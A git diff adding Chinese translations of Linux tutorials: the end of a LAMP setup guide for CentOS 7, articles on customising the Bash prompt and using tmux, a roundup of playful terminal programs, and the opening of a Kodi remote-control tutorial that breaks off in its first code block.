+![Install PHP mbstring Module](http://www.tecmint.com/wp-content/uploads/2014/07/Install-PHP-mbstring-in-CentOs-7.png) + +*安装 PHP mbstring 模块* + +9、 要在你的浏览器上显示 PHP 的全部信息,用 root 账号执行如下命令在 Apache 的文档根目录下创建一个 `info.php` 文件,然后重启 httpd 服务,并在你的浏览器里面访问 http://server_IP/info.php 。 + + # echo "" > /var/www/html/info.php + # systemctl restart httpd + +![Check PHP Info in CentOS 7](http://www.tecmint.com/wp-content/uploads/2014/07/Check-PHP-Info-in-CentOS-7.png) + +*查看 CentOS 7 上的 PHP 信息* + +10、如果你得到一个 PHP 的日期和时区错误,打开配置文件 `php.ini`,取消 `date.timezone` 语句的注释,加上你的实际时区参数,然后重启 Apache 守护进程。 + + # nano /etc/php.ini + +找到并如下修改`date.timezone`,参考 [PHP 支持的时区列表][5]。(LCTT 译注:对于中国,可以使用 Asia/Shanghai、Asia/Chongqing 等,但是不建议使用向后兼容而保留的 PRC。) + + date.timezone = Continent/City + +![Set Timezone in PHP](http://www.tecmint.com/wp-content/uploads/2014/07/Set-Time-Zone-in-CentOS.png) + +*设置 PHP 的时区* + +###第三步:安装和配置 MariaDB 数据库 ### + +11、 Red Hat Enterprise Linux/CentOS 7.0 使用 MariaDB 替换 MySQL 为默认数据库管理系统。使用如下命令安装 MariaDB 数据库。 + + # yum install mariadb-server mariadb + +![Install MariaDB in CentOS 7](http://www.tecmint.com/wp-content/uploads/2014/07/Install-MariaDB-in-CentOs-7.png) + +*在 CentOS 7中安装 MariaDB* + +12、安装 MariaDB 后,启动数据库守护进程并使用 mysql_secure_installation 脚本来保护数据库(设置数据库的 root 密码、禁止远程 root 登录、移除测试数据库、移除匿名用户等)。 + + # systemctl start mariadb + # mysql_secure_installation + +![Start MariaDB Database](http://www.tecmint.com/wp-content/uploads/2014/07/Start-MariaDB-in-CentOS-7.png) + +*启动 MariaDB 数据库* + +![Secure MySQL Installation](http://www.tecmint.com/wp-content/uploads/2014/07/Secure-MySQL-Installation.png) + +*MariaDB 安全设置* + +13、要测试数据库功能,使用 root 账户登录 MariaDB 并用 quit 退出。 + + mysql -u root -p + MariaDB > SHOW VARIABLES; + MariaDB > quit + +![Connect MySQL Database in CentOS](http://www.tecmint.com/wp-content/uploads/2014/07/Connect-MySQL-Installation.png) + +*连接 MariaDB 数据库* + +### 第四步:安装 PhpMyAdmin ### + +14、 RHEL 7.0 或者 CentOS 7.0 仓库默认没有提供 PhpMyAdmin 二进制安装包。如果你不适应使用 MySQL 命令行来管理你的数据库,你可以通过下面的命令启用 CentOS 7.0 rpmforge 仓库来安装 PhpMyAdmin。 + + # yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el7.rf.x86_64.rpm + +启用 rpmforge 仓库后,下面安装 PhpMyAdmin。 + + # yum install phpmyadmin + +![Enable RPMForge in CentOS 7](http://www.tecmint.com/wp-content/uploads/2014/07/Enable-RPMForge-in-CentOS-7.png) + +*启用 RPMForge 仓库* + +15、下面配置 PhpMyAdmin 的 `phpmyadmin.conf` 来允许远程连接,它位于 Apache 的 `conf.d` 目录下,并注释掉下面的行。 + + # nano /etc/httpd/conf.d/phpmyadmin.conf + +使用#来注释掉下列行。 + + # Order Deny,Allow + # Deny from all + # Allow from 127.0.0.1 + +![Allow Remote PhpMyAdmin Access](http://www.tecmint.com/wp-content/uploads/2014/07/Allow-Remote-PhpMyAdmin-Access.png) + +*允许远程 PhpMyAdmin 访问* + +16、 要使用 cookie 验证来登录 PhpMyAdmin,像下面的截图那样使用[生成的秘密字符串][6]来添加一个 blowfish 字符串到 `config.inc.php` 文件中,重启 apache 服务并打开 URL:http://server_IP/phpmyadmin/。 + + # nano /etc/httpd/conf.d/phpmyadmin.conf + # systemctl restart httpd + +![Add Blowfish in PhpMyAdmin](http://www.tecmint.com/wp-content/uploads/2014/07/Add-Blowfish-PhpMyAdmin.png) + +*在 PhpMyAdmin 中添加 Blowfish* + +![PhpMyAdmin Dashboard](http://www.tecmint.com/wp-content/uploads/2014/07/Login-to-PhpMyAdmin.png) + +*PhpMyAdmin 面板* + +### 第五步:在系统范围内启用 LAMP ### + +17、 如果你需要在重启后自动运行 MariaDB 和 Apache 服务,你需要在系统级地启用它们。 + + # systemctl enable mariadb + # systemctl enable httpd + +![Enable Services System Wide](http://www.tecmint.com/wp-content/uploads/2014/07/Enable-Services-System-Wide.png) + +*系统级启用服务* + +这就是在 Red Hat Enterprise 7.0 或者 CentOS 7.0 中安装 LAMP 的过程。在 CentOS/RHEL 7.0 上关于 LAMP 的系列文章接下来将会讨论在 Apache 中创建虚拟主机,生成 SSL 证书、密钥和添加 SSL 事务支持。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-lamp-in-centos-7/ + +作者:[Matei Cezar][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/cezarmatei/ +[1]:http://www.tecmint.com/redhat-enterprise-linux-7-installation/ +[2]:http://www.tecmint.com/enable-redhat-subscription-reposiories-and-updates-for-rhel-7/ +[3]:http://www.tecmint.com/centos-7-installation/ +[4]:https://linux.cn/article-3977-1.html +[5]:http://php.net/manual/en/timezones.php +[6]:http://www.question-defense.com/tools/phpmyadmin-blowfish-secret-generator +[7]:https://linux.cn/article-4425-1.html diff --git a/published/201507/20150616 LINUX 101--POWER UP YOUR SHELL.md b/published/201507/20150616 LINUX 101--POWER UP YOUR SHELL.md new file mode 100644 index 0000000000..dd7b985b01 --- /dev/null +++ b/published/201507/20150616 LINUX 101--POWER UP YOUR SHELL.md @@ -0,0 +1,177 @@ +LINUX 101: 让你的 SHELL 更强大 +================================================================================ +> 在我们的关于 shell 基础的指导下, 得到一个更灵活,功能更强大且多彩的命令行界面 + +**为何要这样做?** + +- 使得在 shell 提示符下过得更轻松,高效 +- 在失去连接后恢复先前的会话 +- Stop pushing around that fiddly rodent! + +![bash1](http://www.linuxvoice.com/wp-content/uploads/2015/02/bash1-large15.png) + +这是我的命令行提示符的设置。对于这个小的终端窗口来说,这或许有些长。但你可以根据你的喜好来调整它。 + +作为一个 Linux 用户, 你可能熟悉 shell (又名为命令行)。 或许你需要时不时的打开终端来完成那些不能在 GUI 下处理的必要任务,抑或是因为你处在一个将窗口铺满桌面的环境中,而 shell 是你与你的 linux 机器交互的主要方式。 + +在上面那些情况下,你可能正在使用你所使用的发行版本自带的 Bash 配置。 尽管对于大多数的任务而言,它足够好了,但它可以更加强大。 在本教程中,我们将向你展示如何使得你的 shell 提供更多有用信息、更加实用且更适合工作。 我们将对提示符进行自定义,让它比默认情况下提供更好的反馈,并向你展示如何使用炫酷的 `tmux` 工具来管理会话并同时运行多个程序。 并且,为了让眼睛舒服一点,我们还将关注配色方案。那么,进击吧,少女! + +### 让提示符更美妙 ### + +大多数的发行版本配置有一个非常简单的提示符,它们大多向你展示了一些基本信息, 但提示符可以为你提供更多的内容。例如,在 Debian 7 下,默认的提示符是这样的: + + mike@somebox:~$ + +上面的提示符展示出了用户、主机名、当前目录和账户类型符号(假如你切换到 root 账户, **$** 会变为 **#**)。 那这些信息是在哪里存储的呢? 答案是:在 **PS1** 环境变量中。 假如你键入 `echo $PS1`, 你将会在这个命令的输出字符串的最后有如下的字符: + + \u@\h:\w$ + +这看起来有一些丑陋,并在瞥见它的第一眼时,你可能会开始尖叫,认为它是令人恐惧的正则表达式,但我们不打算用这些复杂的字符来煎熬我们的大脑。这不是正则表达式,这里的斜杠是转义序列,它告诉提示符进行一些特别的处理。 例如,上面的 **u** 部分,告诉提示符展示用户名, 而 w 则展示工作路径. + +下面是一些你可以在提示符中用到的字符的列表: + +- d 当前的日期 +- h 主机名 +- n 代表换行的字符 +- A 当前的时间 (HH:MM) +- u 当前的用户 +- w (小写) 整个工作路径的全称 +- W (大写) 工作路径的简短名称 +- $ 一个提示符号,对于 root 用户为 # 号 +- ! 当前命令在 shell 历史记录中的序号 + +下面解释 **w** 和 **W** 选项的区别: 对于前者,你将看到你所在的工作路径的完整地址,(例如 **/usr/local/bin**),而对于后者, 它则只显示 **bin** 这一部分。 + +现在,我们该怎样改变提示符呢? 你需要更改 **PS1** 环境变量的内容,试试下面这个: + + export PS1="I am \u and it is \A $" + +现在,你的提示符将会像下面这样: + + I am mike and it is 11:26 $ + +从这个例子出发,你就可以按照你的想法来试验一下上面列出的其他转义序列。 但等等 – 当你登出后,你的这些努力都将消失,因为在你每次打开终端时,**PS1** 环境变量的值都会被重置。解决这个问题的最简单方式是打开 **.bashrc** 配置文件(在你的家目录下) 并在这个文件的最下方添加上完整的 `export` 命令。在每次你启动一个新的 shell 会话时,这个 **.bashrc** 会被 `Bash` 读取, 所以你的加强的提示符就可以一直出现。你还可以使用额外的颜色来装扮提示符。刚开始,这将有点棘手,因为你必须使用一些相当奇怪的转义序列,但结果是非常漂亮的。 将下面的字符添加到你的 **PS1**字符串中的某个位置,最终这将把文本变为红色: + + \[\e[31m\] + +你可以将这里的 31 更改为其他的数字来获得不同的颜色: + +- 30 黑色 +- 32 绿色 +- 33 黄色 +- 34 蓝色 +- 35 洋红色 +- 36 青色 +- 37 白色 + +所以,让我们使用先前看到的转义序列和颜色来创造一个提示符,以此来结束这一小节的内容。深吸一口气,弯曲你的手指,然后键入下面这只“野兽”: + + export PS1="(\!) \[\e[31m\] \[\A\] \[\e[32m\]\u@\h \[\e[34m\]\w \[\e[30m\]$" + +上面的命令提供了一个 Bash 命令历史序号、当前的时间、彩色的用户或主机名组合、以及工作路径。假如你“野心勃勃”,利用一些惊人的组合,你还可以更改提示符的背景色和前景色。非常有用的 Arch wiki 有一个关于颜色代码的完整列表:[http://tinyurl.com/3gvz4ec][1]。 + +> **Shell 精要** +> +> 假如你是一个彻底的 Linux 新手并第一次阅读这份杂志,或许你会发觉阅读这些教程有些吃力。 所以这里有一些基础知识来让你熟悉一些 shell。 通常在你的菜单中, shell 指的是 Terminal、 XTerm 或 Konsole, 当你启动它后, 最为实用的命令有这些: +> +> **ls** (列出文件名); **cp one.txt two.txt** (复制文件); **rm file.txt** (移除文件); **mv old.txt new.txt** (移动或重命名文件); +> +> **cd /some/directory** (改变目录); **cd ..** (回到上级目录); **./program** (在当前目录下运行一个程序); **ls > list.txt** (重定向输出到一个文件)。 +> +> 几乎每个命令都有一个手册页用来解释其选项(例如 **man ls** – 按 Q 来退出)。在那里,你可以知晓命令的选项,这样你就知道 **ls -la** 展示一个详细的列表,其中也列出了隐藏文件, 并且在键入一个文件或目录的名字的一部分后, 可以使用 Tab 键来自动补全。 + +### Tmux: 针对 shell 的窗口管理器 ### + +在文本模式的环境中使用一个窗口管理器 – 这听起来有点不可思议, 是吧? 然而,你应该记得当 Web 浏览器第一次实现分页浏览的时候吧? 在当时, 这是在可用性上的一个重大进步,它减少了桌面任务栏的杂乱无章和繁多的窗口列表。 对于你的浏览器来说,你只需要一个按钮便可以在浏览器中切换到你打开的每个单独网站, 而不是针对每个网站都有一个任务栏或导航图标。 这个功能非常有意义。 + +若有时你同时运行着几个虚拟终端,你便会遇到相似的情况; 在这些终端之间跳转,或每次在任务栏或窗口列表中找到你所需要的那一个终端,都可能会让你觉得麻烦。 拥有一个文本模式的窗口管理器不仅可以让你像在同一个终端窗口中运行多个 shell 会话,而且你甚至还可以将这些窗口排列在一起。 + +另外,这样还有另一个好处:可以将这些窗口进行分离和重新连接。想要看看这是如何运行的最好方式是自己尝试一下。在一个终端窗口中,输入 `screen` (在大多数发行版本中,它已经默认安装了或者可以在软件包仓库中找到)。 某些欢迎的文字将会出现 – 只需敲击 Enter 键这些文字就会消失。 现在运行一个交互式的文本模式的程序,例如 `nano`, 并关闭这个终端窗口。 + +在一个正常的 shell 对话中, 关闭窗口将会终止所有在该终端中运行的进程 – 所以刚才的 Nano 编辑对话也就被终止了, 但对于 screen 来说,并不是这样的。打开一个新的终端并输入如下命令: + + screen -r + +瞧,你刚开打开的 Nano 会话又回来了! + +当刚才你运行 **screen** 时, 它会创建了一个新的独立的 shell 会话, 它不与某个特定的终端窗口绑定在一起,所以可以在后面被分离并重新连接(即 **-r** 选项)。 + +当你正使用 SSH 去连接另一台机器并做着某些工作时, 但并不想因为一个脆弱的连接而影响你的进度,这个方法尤其有用。假如你在一个 **screen** 会话中做着某些工作,并且你的连接突然中断了(或者你的笔记本没电了,又或者你的电脑报废了——不是这么悲催吧),你只需重新连接或给电脑充电或重新买一台电脑,接着运行 **screen -r** 来重新连接到远程的电脑,并在刚才掉线的地方接着开始。 + +现在,我们都一直在讨论 GNU 的 **screen**,但这个小节的标题提到的是 tmux。 实质上, **tmux** (terminal multiplexer) 就像是 **screen** 的一个进阶版本,带有许多有用的额外功能,所以现在我们开始关注 tmux。 某些发行版本默认包含了 **tmux**; 在其他的发行版本上,通常只需要一个 **apt-get、 yum install** 或 **pacman -S** 命令便可以安装它。 + +一旦你安装了它过后,键入 **tmux** 来启动它。接着你将注意到,在终端窗口的底部有一条绿色的信息栏,它非常像传统的窗口管理器中的任务栏: 上面显示着一个运行着的程序的列表、机器的主机名、当前时间和日期。 现在运行一个程序,同样以 Nano 为例, 敲击 Ctrl+B 后接着按 C 键, 这将在 tmux 会话中创建一个新的窗口,你便可以在终端的底部的任务栏中看到如下的信息: + + 0:nano- 1:bash* + +每一个窗口都有一个数字,当前呈现的程序被一个星号所标记。 Ctrl+B 是与 tmux 交互的标准方式, 所以若你敲击这个按键组合并带上一个窗口序号, 那么就会切换到对应的那个窗口。你也可以使用 Ctrl+B 再加上 N 或 P 来分别切换到下一个或上一个窗口 – 或者使用 Ctrl+B 加上 L 来在最近使用的两个窗口之间来进行切换(有点类似于桌面中的经典的 Alt+Tab 组合键的效果)。 若需要知道窗口列表,使用 Ctrl+B 再加上 W。 + +目前为止,一切都还好:现在你可以在一个单独的终端窗口中运行多个程序,避免混乱(尤其是当你经常与同一个远程主机保持多个 SSH 连接时)。 当想同时看两个程序又该怎么办呢? + +针对这种情况, 可以使用 tmux 中的窗格。 敲击 Ctrl+B 再加上 % , 则当前窗口将分为两个部分:一个在左一个在右。你可以使用 Ctrl+B 再加上 O 来在这两个部分之间切换。 这尤其在你想同时看两个东西时非常实用, – 例如一个窗格看指导手册,另一个窗格里用编辑器看一个配置文件。 + +有时,你想对一个单独的窗格进行缩放,而这需要一定的技巧。 首先你需要敲击 Ctrl+B 再加上一个 :(冒号),这将使得位于底部的 tmux 栏变为深橙色。 现在,你进入了命令模式,在这里你可以输入命令来操作 tmux。 输入 **resize-pane -R** 来使当前窗格向右移动一个字符的间距, 或使用 **-L** 来向左移动。 对于一个简单的操作,这些命令似乎有些长,但请注意,在 tmux 的命令模式(前面提到的一个分号开始的模式)下,可以使用 Tab 键来补全命令。 另外需要提及的是, **tmux** 同样也有一个命令历史记录,所以若你想重复刚才的缩放操作,可以先敲击 Ctrl+B 再跟上一个分号,并使用向上的箭头来取回刚才输入的命令。 + +最后,让我们看一下分离和重新连接 - 即我们刚才介绍的 screen 的特色功能。 在 tmux 中,敲击 Ctrl+B 再加上 D 来从当前的终端窗口中分离当前的 tmux 会话。这使得这个会话的一切工作都在后台中运行、使用 `tmux a` 可以再重新连接到刚才的会话。但若你同时有多个 tmux 会话在运行时,又该怎么办呢? 我们可以使用下面的命令来列出它们: + + tmux ls + +这个命令将为每个会话分配一个序号; 假如你想重新连接到会话 1, 可以使用 `tmux a -t 1`. tmux 是可以高度定制的,你可以自定义按键绑定并更改配色方案, 所以一旦你适应了它的主要功能,请钻研指导手册以了解更多的内容。 + + +![tmux](http://www.linuxvoice.com/wp-content/uploads/2015/02/tmux-large13.jpg) + +上图中, tmux 开启了两个窗格: 左边是 Vim 正在编辑一个配置文件,而右边则展示着指导手册页。 + +> **Zsh: 另一个 shell** +> +> 选择是好的,但标准同样重要。 你要知道几乎每个主流的 Linux 发行版本都默认使用 Bash shell – 尽管还存在其他的 shell。 Bash 为你提供了一个 shell 能够给你提供的几乎任何功能,包括命令历史记录,文件名补全和许多脚本编程的能力。它成熟、可靠并文档丰富 – 但它不是你唯一的选择。 +> +> 许多高级用户热衷于 Zsh, 即 Z shell。 这是 Bash 的一个替代品并提供了 Bash 的几乎所有功能,另外还提供了一些额外的功能。 例如, 在 Zsh 中,你输入 **ls** ,并敲击 Tab 键可以得到 **ls** 可用的各种不同选项的一个大致描述。 而不需要再打开 man page 了! +> +> Zsh 还支持其他强大的自动补全功能: 例如,输入 **cd /u/lo/bi** 再敲击 Tab 键, 则完整的路径名 **/usr/local/bin** 就会出现(这里假设没有其他的路径包含 **u**, **lo** 和 **bi** 等字符)。 或者只输入 **cd** 再跟上 Tab 键,则你将看到着色后的路径名的列表 – 这比 Bash 给出的简单的结果好看得多。 +> +> Zsh 在大多数的主要发行版本上都可以得到了; 安装它后并输入 **zsh** 便可启动它。 要将你的默认 shell 从 Bash 改为 Zsh, 可以使用 **chsh** 命令。 若需了解更多的信息,请访问 [www.zsh.org][2]。 + +### “未来”的终端 ### + +你或许会好奇为什么包含你的命令行提示符的应用被叫做终端。 这需要追溯到 Unix 的早期, 那时人们一般工作在一个多用户的机器上,这个巨大的电脑主机将占据一座建筑中的一个房间, 人们通过某些线路,使用屏幕和键盘来连接到这个主机, 这些终端机通常被称为“哑终端”, 因为它们不能靠自己做任何重要的执行任务 – 它们只展示通过线路从主机传来的信息,并输送回从键盘的敲击中得到的输入信息。 + +今天,我们在自己的机器上执行几乎所有的实际操作,所以我们的电脑不是传统意义下的终端,这就是为什么诸如 **XTerm**、 Gnome Terminal、 Konsole 等程序被称为“终端模拟器” 的原因 – 他们提供了同昔日的物理终端一样的功能。事实上,在许多方面它们并没有改变多少。诚然,现在我们有了反锯齿字体,更好的颜色和点击网址的能力,但总的来说,几十年来我们一直以同样的方式在工作。 + +所以某些程序员正尝试改变这个状况。 **Terminology** ([http://tinyurl.com/osopjv9][3]), 它来自于超级时髦的 Enlightenment 窗口管理器背后的团队,旨在让终端步入到 21 世纪,例如带有在线媒体显示功能。你可以在一个充满图片的目录里输入 **ls** 命令,便可以看到它们的缩略图,或甚至可以直接在你的终端里播放视频。 这使得一个终端有点类似于一个文件管理器,意味着你可以快速地检查媒体文件的内容而不必用另一个应用来打开它们。 + +接着还有 Xiki ([www.xiki.org][4]),它自身的描述为“命令的革新”。它就像是一个传统的 shell、一个 GUI 和一个 wiki 之间的过渡;你可以在任何地方输入命令,并在后面将它们的输出存储为笔记以作为参考,并可以创建非常强大的自定义命令。用几句话是很能描述它的,所以作者们已经创作了一个视频来展示它的潜力是多么的巨大(请看 **Xiki** 网站的截屏视频部分)。 + +并且 Xiki 绝不是那种在几个月之内就消亡的昙花一现的项目,作者们成功地进行了一次 Kickstarter 众筹,在七月底已募集到超过 $84,000。 是的,你没有看错 – $84K 来支持一个终端模拟器。这可能是最不寻常的集资活动了,因为某些疯狂的家伙已经决定开始创办它们自己的 Linux 杂志 ...... + +### 下一代终端 ### + +许多命令行和基于文本的程序在功能上与它们的 GUI 程序是相同的,并且常常更加快速和高效。我们的推荐有: +**Irssi** (IRC 客户端); **Mutt** (mail 客户端); **rTorrent** (BitTorrent); **Ranger** (文件管理器); **htop** (进程监视器)。 若给定在终端的限制下来进行 Web 浏览, Elinks 确实做的很好,并且对于阅读那些以文字为主的网站例如 Wikipedia 来说。它非常实用。 + +> **微调配色方案** +> +> 在《Linux Voice》杂志社中,我们并不迷恋那些养眼的东西,但当你每天花费几个小时盯着屏幕看东西时,我们确实认识到美学的重要性。我们中的许多人都喜欢调整我们的桌面和窗口管理器来达到完美的效果,调整阴影效果、摆弄不同的配色方案,直到我们 100% 的满意(然后出于习惯,摆弄更多的东西)。 +> +> 但我们倾向于忽视终端窗口,它理应也获得我们的喜爱,并且在 [http://ciembor.github.io/4bit][5] 你将看到一个极其棒的配色方案设计器,对于所有受欢迎的终端模拟器(**XTerm, Gnome Terminal, Konsole 和 Xfce4 Terminal 等都是支持的应用。**),它可以输出其设定。移动滑块直到你看到配色方案最佳, 然后点击位于该页面右上角的 `得到方案` 按钮。 +> +> 相似的,假如你在一个文本编辑器,如 Vim 或 Emacs 上花费了很多的时间,使用一个精心设计的调色板也是非常值得的。 **Solarized** [http://ethanschoonover.com/solarized][6] 是一个卓越的方案,它不仅漂亮,而且因追求最大的可用性而设计,在其背后有着大量的研究和测试。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxvoice.com/linux-101-power-up-your-shell-8/ + +作者:[Ben Everard][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.linuxvoice.com/author/ben_everard/ +[1]:http://tinyurl.com/3gvz4ec +[2]:http://www.zsh.org/ +[3]:http://tinyurl.com/osopjv9 +[4]:http://www.xiki.org/ +[5]:http://ciembor.github.io/4bit +[6]:http://ethanschoonover.com/solarized \ No newline at end of file diff --git a/published/201507/20150616 Linux Humor on the Command-line.md b/published/201507/20150616 Linux Humor on the Command-line.md new file mode 100644 index 0000000000..e998e31f05 --- /dev/null +++ b/published/201507/20150616 Linux Humor on the Command-line.md @@ -0,0 +1,127 @@ +Linux命令行中的幽默 +================================================================================ +图形桌面总是很养眼的,它增强了可视化体验,有时也能够提升了某些软件的功能,让软件变得更有趣。但是,在命令行下工作也不需要总是很古板,如果您想在命令行下寻找些乐趣,那么有很多命令给您带来趣味。 + +Linux是个有趣的操作系统。它提供大量的小型开源工具,从平淡无奇的软件到稀奇古怪的应用。正是这些工具的功能和琳琅满目的选择帮助Linux脱颖而出。让我们一起来看看下面这七个小工具吧。 + +### 七彩虹:lolcat ### + +![lolcat](http://www.linuxlinks.com/portal/content/reviews/Misc/Screenshot-lolcat.png) + +lolcat是一个用于将文件或标准输入连接到标准输出(类似常见的cat)的程序,但是它会为输出添加七彩的颜色。 + +lolcat通常和其他诸如toilet或figlet等生成文本的应用结合使用。这个软件不应被误认为是一个或多个猫的图像的宏。 + +lolcat由Moe编写。 + +网址: [github.com][1] + +### 牛郎的牛:cowsay ### + +![cowsay](http://www.linuxlinks.com/portal/content/reviews/Misc/Screenshot-cowsay.png) + +cowsay是一个可配置的开源软件,它用ASCII码生成奶牛的图片,并可以在对话气泡中显示消息。cowsay是用Perl写的。 + +cowsay并不仅仅只能显示奶牛。它能生成预先制作的图片或者其他动物,包括鸭子、考拉、麋鹿、小马、绵羊、剑龙和火鸡,以及奶酪、雪人和骷髅。 + +有一个叫cowthink的应用,与对话的气泡不同,它能在生成奶牛的同时生成思考的气泡。 + +功能包括: + +- 让脚本变得更有趣 +- Borg模式 +- 可以更改奶牛看起来的样子,比如让奶牛看起来贪婪、偏执、固执、疲倦、古怪、年轻等 +- 图形版变体:xcowsay + +网址: [nog.net][2] + +### 傻狗:doge ### + +![doge](http://www.linuxlinks.com/portal/content/reviews/Misc/Screenshot-doge.png) + +doge是一个简单的每日信息脚本,它基于有些愚蠢但很有趣的doge的梗。它随机的打印一些在语法上有误的句子,有时这些句子基于您电脑中的东西。 + +doge是一个在2013年非常流行的互联网潮流元素(梗)。这个梗通常由一幅日本柴犬的图片和彩色的文字组成。这些文字故意用一种蹩脚的语气写成了一些互联网的独白。 + +- 随机的用不同的颜色和蹩脚的英语写下随机的句子 +- 终端中的柴犬效果非常棒 +- 可以获得系统数据,比如主机名、运行中的程序、当前用户、$EDITOR +- 如果您安装了lolcat,您可以用它作为点缀: `while true; do doge | lolcat -a -d 100 -s 100 -p 1; done` +- 支持标准输入: `ls /usr/bin | doge` 将显示一些 /usr/bin下的可执行文件。哇噢,还有许多命令行的开关可以过滤词语以及控制词语的频率。 + +网址: [github.com/thiderman/doge][3] + +### 水族箱:ASCIIQuarium ### + +![Asciiquarium](http://www.linuxlinks.com/portal/content/reviews/Misc/Screenshot-Asciiquarium.png) + +ASCIIQuarium是一个以ASCII码方式画出的水族馆/海洋动画。享受生活在您电脑中水底的奇妙生物吧。 + +想运行ASCIIQuarium,您需要安装Perl的curses包以及Term::Animation模块。请使用`sudo apt-get install libcurses-perl`来安装前者,使用sudo cpan Term::Animation来安装后者。两个命令都需要在终端中运行。 + +功能包括: + +- 五彩的鱼儿 +- 有趣的动画,包括钓鱼钩 +- 还有许多的天鹅、鸭子、海豚和船只 + +网址: [www.robobunny.com][4] + +### 蒸汽机车:sl ### + +![sl](http://www.linuxlinks.com/portal/content/reviews/Misc/Screenshot-sl.png) + +sl是一个有趣的终端应用,它为那些意外的错将ls输成sl的用户显示一个动画。 + +我打字通常非常草率,更喜欢速度而不是准确性。但错别字在命令行中是非常危险的。因此sl扮演了一个提醒者,提醒我们注意错误输入的这种坏习惯。它总是会让人咯咯的笑。 + +功能包括: + +- 使用 -F, 火车在飞翔 +- 使用 -l, 显示一个小型的火车 +- 使用 -a, 看上去发生了意外 + +网址: [github.com/mtoyoda/sl][5] + +### 火焰:aafire ### + +![aafire](http://www.linuxlinks.com/portal/content/reviews/Misc/Screenshot-aafire.png) + +aafire在终端中显示燃烧的ASCII火焰。它展示了aalib库的强大能力,一个ascii艺术库显示出来。 + +网址: [aa-project.sourceforge.net/aalib][6] + +### 矩阵:CMatrix ### + +![CMatrix](http://www.linuxlinks.com/portal/content/reviews/Misc/Screenshot-CMatrix.png) + +CMatrix是一个基于ncurses的程序,它模拟《黑客帝国》(一部电影)中的画面。如果您在一个山洞里度过了上个15年,那么您可能不知道这部1999年的美国科幻电影,主角为 Keanu Reeves, Laurence Fishburne, Carrie-Anne Moss, Hugo Weaving和 Joe Pantoliano。 + +它可以在终端设置为132x300的情况下工作,并且可以以同样的速率进行滚动或者以用户定义的速度进行异步的滚动。 + +功能包括: + +- 修改文本颜色 +- 使用粗体字符 +- 异步滚动 +- 使用老式的滚动效果 +- 屏幕保护程序模式 + +网址: [www.asty.org/cmatrix][7] + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/20150614112018846/Humor.html + +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[1]:https://github.com/busyloop/lolcat +[2]:https://web.archive.org/web/20120225123719/http://www.nog.net/%7Etony/warez/cowsay.shtml +[3]:https://github.com/thiderman/doge +[4]:http://www.robobunny.com/projects/asciiquarium/html/ +[5]:https://github.com/mtoyoda/sl +[6]:http://aa-project.sourceforge.net/aalib/ +[7]:http://www.asty.org/cmatrix/ diff --git a/published/201507/20150616 XBMC--build a remote control.md b/published/201507/20150616 XBMC--build a remote control.md new file mode 100644 index 0000000000..a606bc1cab --- /dev/null +++ b/published/201507/20150616 XBMC--build a remote control.md @@ -0,0 +1,264 @@ +为 Kodi 自制遥控器 +================================================================================ +**通过运行在 Android 手机上的自制遥控器来控制你的家庭媒体播放器。** + +**Kodi** 是一款很优秀的软件,能够将几乎所有电脑变身成媒体中心。它可以播放音乐和视频,显示图片,甚至还能显示天气预报。为了在配置成家庭影院后方便使用,你可以通过手机 app 访问运行在连接到 Wi-Fi 的 XBMC 机器上的服务来控制它。可以找到很多这种工具,几乎覆盖所有智能手机系统。 + +> **XBMC** +> +> Kodi 原名叫做 XBMC,在你阅读这篇文章的时候,**XBMC** 已经成为历史。因为法律原因(因为名字 **XBMC** 或 X**-Box Media Center** 里引用了不再支持的过时硬件)项目组决定使用新的名字 **Kodi**。不过,除了名字,其他的都会保持原样。或者说除开通常新版本中所期待的大量新改进。这一般不会影响到遥控软件,它应该能在已有的 **XBMC** 系统和新的 Kodi 系统上都能工作。 + +我们目前已经配置好了一个用于播放音乐的 **Kodi** 系统,不过我们找到的所有 Kodi 遥控没一个好用的,特别是和媒体中心连接的电视没打开的时候。它们都有点太复杂了,集成了太多功能在手机的小屏幕上。我们希望能有这样的系统,从最开始就是设计成只用于访问音乐库和电台插件,所以我们决定自己实现一个。它不需要用到 Kodi 的所有功能,因为除了音乐以外的任务,我们可以简单地切换使用通用的 Kodi 遥控。我们的测试系统是一个刷了 RaspBMC 发行版的树莓派,但是我们要做的工具并不受限于树莓派或Kodi那个发行版,它应该可以匹配任何安装了相关插件的基于 Linux 的 Kodi 系统。 + +首先,遥控程序需要一个用户界面。大多数 Kodi 遥控程序都是独立的 app。不过对于我们要做的这个音乐控制程序,我们希望用户可以不用安装任何东西就可以使用。显然我们需要使用网页界面。Kodi 本身自带网页服务器,但是为了获得更多权限,我们还是使用了独立的网页框架。在同一台电脑上跑两个以上网页服务器没有问题,只不过它们不能使用相同的端口。 + +有几个网页框架可以使用。而我们选用 Bottle 是因为它是一个简单高效的框架,而且我们也确实用不到任何高级功能。Bottle 是一个 Python 模块,所以这也将是我们编写服务器模块的语言。 + +你应该能在软件包管理器里找到 Bottle。在基于 Debian 的系统(包括 RaspBMC)里,你可以通过下面的命令安装: + + sudo apt-get install python-bottle + +遥控程序实际上只是连接用户和系统的中间层。Bottle 提供了和用户交互的方式,而我们将通过 JSON API 来和 **Kodi** 交互。这样可以让我们通过发送 JSON 格式消息的方式去控制媒体播放器。 + +我们将用到一个叫做 xbmcjson 的简单 XBMC JASON API 封装。足够用来发送控制请求,而不需要关心实际的 JSON 格式以及和服务器通讯的无聊事。它没有包含在 PIP 包管理中,所以你得直接从 **GitHub** 安装: + + git clone https://github.com/jcsaaddupuy/python-xbmc.git + cd python-xbmc + sudo python setup.py install + +万事俱备,只欠代码。 + +#### 先从 Bottle 开始 #### + +我们程序的基本结构: + + from xbmcjson import XBMC + from bottle import route, run, template, redirect, static_file, request + import os + xbmc = 